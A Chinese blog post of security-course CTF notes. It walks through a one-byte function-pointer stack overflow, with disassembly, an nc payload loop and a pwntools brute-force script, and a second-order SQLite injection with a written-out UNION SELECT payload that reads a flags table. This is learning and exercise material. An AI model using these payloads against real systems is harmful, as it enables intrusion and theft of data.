CS2107笔记1

函数指针栈溢出

最近在做CTF形式的安全课的作业,碰到个简单的栈溢出题目。思路大概有了但试了整了好几个小时都不对,后来才发现应该是 echo 我没整好,用pwntools整就很快把flag整好了。期间怀疑自己思路不对去读了程序的反汇编代码,然后一边读一边谷歌,虽然对最终解题并没有帮助但还是在这记一下谷歌和群里巨佬帮忙分析的内容。

首先是这个文件的结构,这里是源文件:

根据ODA反汇编的结果来分析,源文件22行那里的取址与赋值对应着 0x80492d7 内存地址的汇编:

.text:080492d7 8d 83 f8 d4 ff ff   lea    eax,[ebx-0x2b08]
.text:080492dd 89 45 f8            mov    DWORD PTR [ebp-0x8],eax

漏洞在于 input 为128字节长而在接收数据时会读取129字节,那样子的话我可以覆写到函数指针最高位。根据我原本思路,因为这个ELF运行环境是小端序的,覆写到的那个字节是地址的高位字节(即 give_error 地址 0x80494f8 中的 f8 )。刚好 give_flag 的地址前面三字节都一样,只需要覆盖最后一位为 c3 即可。

然后我试了一下使用标准的bash指令来构造payload:

x=''
for i in {0..128}; do
	x=$x$(echo -ne "\xc3")
done
echo $x | nc <host> <port>

结果输出数据直接没了(后面我发现 echo -n 就可以,还没分析为什么不过这是后话了)。难道这个储存的是相对地址之类的东西?于是我尝试计算实际入栈的数值,发现根本不知道 ebx 这个寄存器存的是什么。我把谷歌翻了个遍都只翻到了这么句描述“ ebx 是个通用寄存器,没有特殊用途,时常用来储存常用数字或者0” [1] 。去群里给宇智波大佬分析了一下,最后才发现这个ebx储存的是GOT的位置。赋值语句为(在main开头):

.text:0804926c e8 2f ff ff ff       call   0x080491a0 <__x86.get_pc_thunk.bx>
.text:08049271 81 c3 8f 2d 00 00    add    ebx,0x2d8f

这个 <__x86.get_pc_thunk.bx> 实际上是把 ebx 寄存器值设置为 0x08049271它的返回到 main 的地址),然后加上 0x2d8f 刚好就是这个程序内存空间中GOT表的位置(即 0x0804c000 )。然后在上面展示的 0x080492d7 运算时,减去 0x2b08 刚好就是 0x080494f8 —— show_error 函数的地址。gdb打个断点跑了一遍也认证了我的思路并没有错,储存在那个指针的值确实是 0x080494f8 。最后我怀疑是我 echo 没用好的问题,用 pwntools 跑了一遍就跑出结果了(我写了个循环尝试了所有值确认了覆写为 c3 就可以)。

#!/bin/python3
from pwn import *
from pwnlib.util.packing import *

def dothis(a):
    conn = remote('<host>', <port>)
    print(conn.recvuntil('> '))
    conn.send(a)
    print(conn.recv())
    conn.close()
    sleep(0.2)

x = b''
for i in range(0, 128):
    x += b'b'
for i in range(0, 255):
    print(i)
    dothis(fit(x+i.to_bytes(1, 'little')))

SQLite 注入

先放上源码:

我一开始推测的是 Save Video 这里可以注入。我注意到了引号被过滤掉了,于是乎尝试了特殊字符如 /\#-- 等发现都直接录入进了数据库。使用了这个在线SQL IDE验证了我的想法,确实是在SQLite里面引号里的所有东西(同一个引号除外)都会被当成字符串处理,普通的转义符和注释符都没用效果。唯一一个方法就是使用引号来中断字符串然后就可以插入别的东西了。但引号被过滤了,每一个能读取用户输入的地方都有引号替换,一时间不知道如何下手。

r想了好久之后突然想到了另一种情况——会不会有两次查询,使用第一次结果作为第二次查询的参数?搜索了一下立马就找到了 option_five() 这个函数。它先从数据库里读出所有 topic ,然后随机选一个,然后根据这个 topic 再查询一次数据库来获取剩余参数。同时,这个第二次查询用的是单引号, Save Video 这里过滤的是双引号。意味着我只要构造包含单引号的一个 topic ,它就能插入到数据库并且作为注入语句插入这个随即查询里面。

SELECT topic, rating, url FROM videos WHERE topic = '{topic}' COLLATE NOCASE

SELECT topic, rating, url FROM videos WHERE topic = '' UNION SELECT flag AS topic, flag AS rating, flag AS url FROM flags --' COLLATE NOCASE

于是乎构造出来的 topic' UNION SELECT flag AS topic, flag AS rating, flag AS url FROM flags -- 。用 Save Video 插入进去之后不停选随机直到选到这一条就好了。

不知道SQLite在无两次查询并且过滤掉了对应引号的情况下能否注入?跟MySQL不同,至少我现在是还没找到出了引号以外的特殊字符能中止字符串。